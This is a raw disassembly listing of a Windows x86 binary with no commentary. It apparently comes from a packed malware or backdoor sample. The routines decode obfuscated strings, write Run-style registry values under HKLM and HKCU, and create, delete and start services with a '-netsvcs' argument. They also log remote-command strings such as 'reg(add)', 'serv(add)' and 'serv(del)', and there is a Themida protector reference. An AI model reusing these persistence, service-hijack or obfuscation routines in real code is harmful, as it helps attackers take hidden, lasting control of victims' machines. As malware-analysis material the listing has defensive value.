mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2AB0000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2A70000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017E4 push eax push 80000002h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2AB0000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2A70000h lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_6C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 lea ecx, [esp+80h+var_54] mov [esp+80h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 8 sub_40E220 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E7A0 proc near ; CODE XREF: sub_401447j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40E7A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_6C] call sub_401424 lea ecx, [esp+80h+var_3C] mov [esp+80h+var_4], 0 call sub_401424 lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401424 push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019B5 add esp, 0CCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 3 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019B5 add esp, 0DCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 4 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019B5 add esp, 0BCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 5 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 mov esi, dword_50F754 push eax push 80000002h call esi mov edi, [esp+80h+arg_0] mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] mov ebp, dword_50F764 push eax push ecx call ebp mov edx, [esp+80h+var_70] mov ebx, dword_50F738 push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 push eax push 80000002h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000002h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000001h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017E4 push eax push 80000001h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 mov [esp+80h+var_4], 0FFFFFFFFh lea ecx, [esp+80h+var_6C] call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 4 sub_40E7A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EC30 proc near ; CODE XREF: sub_401497j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40EC30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebx push esi mov esi, ecx lea ecx, [esp+5Ch+var_24] call sub_401424 push 104h push 104h lea ecx, [esp+64h+var_24] mov [esp+64h+var_4], 0 call sub_401C5D push eax call near ptr 2960961h nop lea ecx, [esp+5Ch+var_3C] call sub_401424 mov ecx, [esp+5Ch+arg_4] mov byte ptr [esp+5Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+60h+var_24] call sub_4017E4 push eax lea eax, [esp+64h+var_3C] push offset dword_443684 push eax call sub_40102D add esp, 10h lea ecx, [esp+5Ch+var_54] call sub_401424 lea ecx, [esp+5Ch+var_54] push offset aNetsvcs ; "-netsvcs" push ecx mov byte ptr [esp+64h+var_4], 2 call sub_40102D mov ecx, [esp+64h+arg_0] add esp, 8 lea edx, [esp+5Ch+var_54] lea eax, [esp+5Ch+var_3C] push edx push eax push ecx mov ecx, esi call sub_402153 lea ecx, [esp+5Ch+var_54] mov bl, al mov byte ptr [esp+5Ch+var_4], 1 call sub_401226 lea ecx, [esp+5Ch+var_3C] mov byte ptr [esp+5Ch+var_4], 0 call sub_401226 lea ecx, [esp+5Ch+var_24] mov [esp+5Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+5Ch+var_C] mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 54h retn 8 sub_40EC30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ED70 proc near ; CODE XREF: sub_402153j var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40ED70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push ebp push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" mov [esp+5Ch+var_44], ecx push 0 call near ptr 2A70935h nop mov edi, eax test edi, edi jnz short loc_40EDAF xor al, al jmp loc_40EF00 ; --------------------------------------------------------------------------- loc_40EDAF: ; CODE XREF: sub_40ED70+36j lea ecx, [esp+54h+var_24] call sub_401424 mov ecx, [esp+54h+arg_8] mov [esp+54h+var_4], 0 call sub_4017E4 mov ebx, [esp+54h+arg_4] push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+5Ch+var_24] push offset aSS_4 ; "\"%s\" %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+54h+var_24] push 0 push 0 push 0 push 0 push 0 call sub_4017E4 push eax push 1 push 2 push 20h push 0F01FFh mov ecx, offset dword_447864 call sub_4017E4 mov ebp, [esp+7Ch+arg_0] push eax mov ecx, ebp call sub_4017E4 push eax push edi call near ptr 2A80000h nop mov esi, eax xor ecx, ecx cmp esi, ecx jnz short loc_40EE95 nop call near ptr 2930847h cmp eax, 431h jnz short loc_40EE79 mov ecx, [esp+54h+var_44] push ebp call sub_401942 mov esi, dword_50F74C push 0 call esi push edi call esi mov ecx, [esp+54h+var_44] push ebx push ebp call sub_401497 lea ecx, [esp+54h+var_24] mov bl, al mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_40EF00 ; --------------------------------------------------------------------------- loc_40EE79: ; CODE XREF: sub_40ED70+CBj push edi call near ptr 2A8036Ch nop lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp short loc_40EF00 ; --------------------------------------------------------------------------- loc_40EE95: ; CODE XREF: sub_40ED70+BEj lea edx, [esp+54h+var_38] mov [esp+54h+var_34], ecx mov dword ptr [esp+54h+var_30], ecx push edx mov eax, 1 or ebx, 0FFFFFFFFh lea ecx, [esp+58h+var_40] push 2 push esi mov [esp+60h+var_3C], eax mov [esp+60h+var_40], eax mov [esp+60h+var_38], ebx mov [esp+60h+var_2C], eax mov [esp+60h+var_28], ecx nop call near ptr 2A80610h test eax, eax push esi mov esi, dword_50F74C jnz short loc_40EEEC call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 xor al, al jmp short loc_40EF00 ; --------------------------------------------------------------------------- loc_40EEEC: ; CODE XREF: sub_40ED70+164j call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 mov al, 1 loc_40EF00: ; CODE XREF: sub_40ED70+3Aj ; sub_40ED70+104j ... mov ecx, [esp+54h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 44h retn 0Ch sub_40ED70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EF90 proc near ; CODE XREF: sub_401942j var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 2A70935h mov edi, eax test edi, edi jnz short loc_40EFB7 pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40EFB7: ; CODE XREF: sub_40EF90+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017E4 push eax push edi call near ptr 2A102EFh nop mov esi, eax test esi, esi jnz short loc_40EFE4 push edi call near ptr 2A8036Ch nop pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40EFE4: ; CODE XREF: sub_40EF90+41j lea eax, [esp+24h+var_1C] push eax push 1 push esi call near ptr 2A70542h nop push esi nop call near ptr 2A707FAh push esi mov esi, dword_50F74C call esi push edi call esi pop edi mov al, 1 pop esi add esp, 1Ch retn 4 sub_40EF90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F030 proc near ; CODE XREF: sub_401FB4j arg_0 = dword ptr 4 push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 2A70935h nop mov esi, eax test esi, esi jnz short loc_40F04F xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F04F: ; CODE XREF: sub_40F030+17j mov ecx, [esp+4+arg_0] push 0F01FFh call sub_4017E4 push eax push esi call near ptr 2A102EFh nop test eax, eax jnz short loc_40F076 push esi call near ptr 2A8036Ch nop xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F076: ; CODE XREF: sub_40F030+37j push edi mov edi, dword_50F74C push eax call edi push esi call edi pop edi mov al, 1 pop esi retn 4 sub_40F030 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F0B0 proc near ; CODE XREF: sub_401FDCj arg_0 = dword ptr 4 push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 2A70935h nop mov edi, eax test edi, edi jnz short loc_40F0D1 pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F0D1: ; CODE XREF: sub_40F0B0+18j mov ecx, [esp+8+arg_0] push 0F01FFh call sub_4017E4 push eax push edi call near ptr 2A102EFh nop mov esi, eax test esi, esi jnz short loc_40F0FB push edi call near ptr 2A8036Ch nop pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F0FB: ; CODE XREF: sub_40F0B0+3Bj push 0 push 0 push esi call near ptr 2A60A0Dh nop push esi mov esi, dword_50F74C call esi push edi call esi pop edi mov al, 1 pop esi retn 4 sub_40F0B0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40F140: ; CODE XREF: ___:loc_4014A1j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_439048 push eax mov large fs:0, esp sub esp, 60h push ebx push esi mov esi, [esp+78h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+19h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F23A push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA push 1 push offset asc_443600 ; " " lea ecx, [esp+14h] push 2 xor ebx, ebx push ecx mov ecx, esi mov [esp+84h], ebx call sub_4011EA lea edx, [esp+0Ch] lea eax, [esp+24h] push edx push eax mov ecx, edi mov byte ptr [esp+7Ch], 1 call sub_401726 test al, al jz short loc_40F206 lea ecx, [esp+0Ch] call sub_4017E4 push eax lea ecx, [esp+28h] call sub_4017E4 push eax push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch loc_40F206: ; CODE XREF: ___:0040F1C7j lea ecx, [esp+0Ch] mov [esp+74h], bl call sub_401226 lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F23A: ; CODE XREF: ___:0040F176j lea ecx, [edi+47h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F2D9 push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+24h] mov dword ptr [esp+74h], 2 push ecx mov ecx, edi call sub_401447 test al, al jz short loc_40F2B2 lea ecx, [esp+24h] call sub_4017E4 push eax push offset aRegDelS_ ; "reg(del) \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_40F2B2: ; CODE XREF: ___:0040F27Dj lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F2D9: ; CODE XREF: ___:0040F24Cj lea ecx, [edi+75h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F3EF push 1 push offset asc_443600 ; " " lea ecx, [esp+44h] push 1 push ecx mov ecx, esi call sub_4011EA push 1 push offset asc_443600 ; " " lea edx, [esp+14h] push 2 push edx mov ecx, esi mov dword ptr [esp+84h], 3 call sub_4011EA push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] mov bl, 4 push 3 push eax mov ecx, esi mov [esp+84h], bl call sub_4011EA lea ecx, [esp+24h] lea edx, [esp+0Ch] push ecx lea eax, [esp+40h] push edx push eax mov ecx, edi mov byte ptr [esp+80h], 5 call sub_402153 test al, al jz short loc_40F3AD lea ecx, [esp+24h] call sub_4017E4 push eax lea ecx, [esp+10h] call sub_4017E4 push eax lea ecx, [esp+44h] call sub_4017E4 push eax push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"." lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 20h loc_40F3AD: ; CODE XREF: ___:0040F364j lea ecx, [esp+24h] mov [esp+74h], bl call sub_401226 lea ecx, [esp+0Ch] mov byte ptr [esp+74h], 3 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F3EF: ; CODE XREF: ___:0040F2EBj lea ecx, [edi+0A3h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F491 push 1 push offset asc_443600 ; " " lea eax, [esp+5Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+54h] mov dword ptr [esp+74h], 6 push ecx mov ecx, edi call sub_401942 test al, al jz short loc_40F46A lea ecx, [esp+54h] call sub_4017E4 push eax push offset aServDelS_ ; "serv(del) \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_40F46A: ; CODE XREF: ___:0040F435j lea ecx, [esp+54h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F491: ; CODE XREF: ___:0040F404j mov ecx, [esp+6Ch] pop edi pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- db 9 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F590 proc near ; CODE XREF: sub_401D02j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call near ptr 77C2C407h nop mov edx, eax mov eax, [esp+0Ch+arg_0] mov edi, esi or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax add esp, 4 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn sub_40F590 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F600 proc near ; CODE XREF: sub_401695j var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40F600 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi mov esi, ecx push edi mov [esp+3Ch+var_28], esi call sub_401E6A lea edi, [esi+11h] mov [esp+3Ch+var_4], 0 mov ecx, edi call sub_4011B3 lea ebp, [esi+28h] mov ecx, ebp call sub_401424 lea ecx, [esi+3Dh] mov byte ptr [esp+3Ch+var_4], 1 call sub_401424 lea ecx, [esi+56h] mov byte ptr [esp+3Ch+var_4], 2 call sub_401749 lea ecx, [esi+84h] mov byte ptr [esp+3Ch+var_4], 3 call sub_401749 lea ecx, [esi+0B2h] mov byte ptr [esp+3Ch+var_4], 4 call sub_401749 lea ecx, [esi+0E0h] mov byte ptr [esp+3Ch+var_4], 5 call sub_401749 lea ecx, [esi+10Eh] mov byte ptr [esp+3Ch+var_4], 6 call sub_401749 lea ecx, [esi+13Ch] mov byte ptr [esp+3Ch+var_4], 7 call sub_401749 lea ecx, [esi+16Ah] mov byte ptr [esp+3Ch+var_4], 8 call sub_401749 lea ecx, [esi+198h] mov byte ptr [esp+3Ch+var_4], 9 call sub_401749 lea ecx, [esi+1C6h] mov byte ptr [esp+3Ch+var_4], 0Ah call sub_401749 lea ecx, [esi+1F4h] mov byte ptr [esp+3Ch+var_4], 0Bh call sub_401749 lea ecx, [esi+222h] mov byte ptr [esp+3Ch+var_4], 0Ch call sub_401749 lea ecx, [esi+250h] mov byte ptr [esp+3Ch+var_4], 0Dh call sub_401749 lea ecx, [esi+27Eh] mov byte ptr [esp+3Ch+var_4], 0Eh call sub_401749 lea ecx, [esi+2ACh] mov byte ptr [esp+3Ch+var_4], 0Fh call sub_401749 lea eax, [esp+3Ch+var_29] lea ecx, [esi+2DAh] push eax mov byte ptr [esp+40h+var_4], 10h call sub_401721 mov dword ptr [edi], offset off_43E034 mov bl, 11h xor edi, edi push offset byte_446F60 mov ecx, ebp mov byte ptr [esp+40h+var_4], bl mov dword ptr [esi], offset off_43E028 mov byte ptr [esi+17h], 1 mov byte ptr [esi+15h], 0 mov byte ptr [esi+16h], 0 mov dword ptr [esi+18h], 0FFFFFFFFh mov [esi+1Ch], edi mov [esi+20h], edi call sub_4015D7 nop call near ptr 2960743h push edi push 21h push 28h push 23h lea ecx, [esp+4Ch+var_24] push 2Ah push ecx mov [esi+24h], eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 12h call sub_4017E4 push eax push offset dword_4470EC call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Dh push 23h push 2Eh push 29h lea edx, [esp+54h+var_24] push 28h push edx call sub_4019B5 add esp, 20h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 13h call sub_4017E4 push eax push offset dword_4470F0 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 28h push 23h push 29h lea eax, [esp+4Ch+var_24] push 24h push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 14h call sub_4017E4 push eax push offset dword_4470F4 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 21h push 2Dh push 27h push 30h push 23h push 2Ch lea ecx, [esp+58h+var_24] push 2Ah push ecx call sub_4019B5 add esp, 24h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 15h call sub_4017E4 push eax push offset dword_4470F8 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Dh push 29h push 22h push 2Ch push 1Fh push 2Dh lea edx, [esp+5Ch+var_24] push 2Fh push edx call sub_4019B5 add esp, 28h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 16h call sub_4017E4 push eax push offset dword_4470FC call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 47h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 17h call sub_4017E4 push eax push offset dword_447100 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 44h lea ecx, [esp+48h+var_24] push 47h push ecx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 18h call sub_4017E4 push eax push offset dword_447104 call sub_401D02 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 21h push 28h push 29h lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 19h call sub_4017E4 push eax push offset dword_447108 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Dh push 2Dh push 1Bh lea eax, [esp+4Ch+var_24] push 2Ah push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ah call sub_4017E4 push eax push offset dword_44710C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 28h push ecx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Bh call sub_4017E4 push eax push offset dword_447110 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Ch push 1Fh push 2Dh lea edx, [esp+4Ch+var_24] push 2Fh push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ch call sub_4017E4 push eax push offset dword_447114 call sub_401D02 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 47h push 49h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Dh call sub_4017E4 push eax push offset dword_447118 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 25h push ecx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Eh call sub_4017E4 push eax push offset dword_44711C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Ch push 1Bh lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Fh call sub_4017E4 push eax push offset dword_447120 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Eh push 29h lea eax, [esp+4Ch+var_24] push 27h push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 20h call sub_4017E4 push eax push offset dword_447124 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 45h push 44h lea ecx, [esp+48h+var_24] push 44h push ecx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 21h call sub_4017E4 push eax push offset dword_447128 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 49h push 44h lea edx, [esp+48h+var_24] loc_40FB67: ; DATA XREF: Themida_:off_59D34Fo push 44h push edx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 22h call sub_4017E4 push eax push offset dword_44712C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 23h push 2Fh lea eax, [esp+4Ch+var_24] push 2Bh push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 23h call sub_4017E4 push eax push offset dword_447130 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 mov ecx, [esp+3Ch+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 2Ch retn sub_40F600 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FD70 proc near ; CODE XREF: ___:004019C4j sub_401A3Cj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4013C0 sub_40FD70 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_40FD88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40FD88: ; CODE XREF: ___:0040FD7Dj mov eax, esi pop esi retn 4 ; 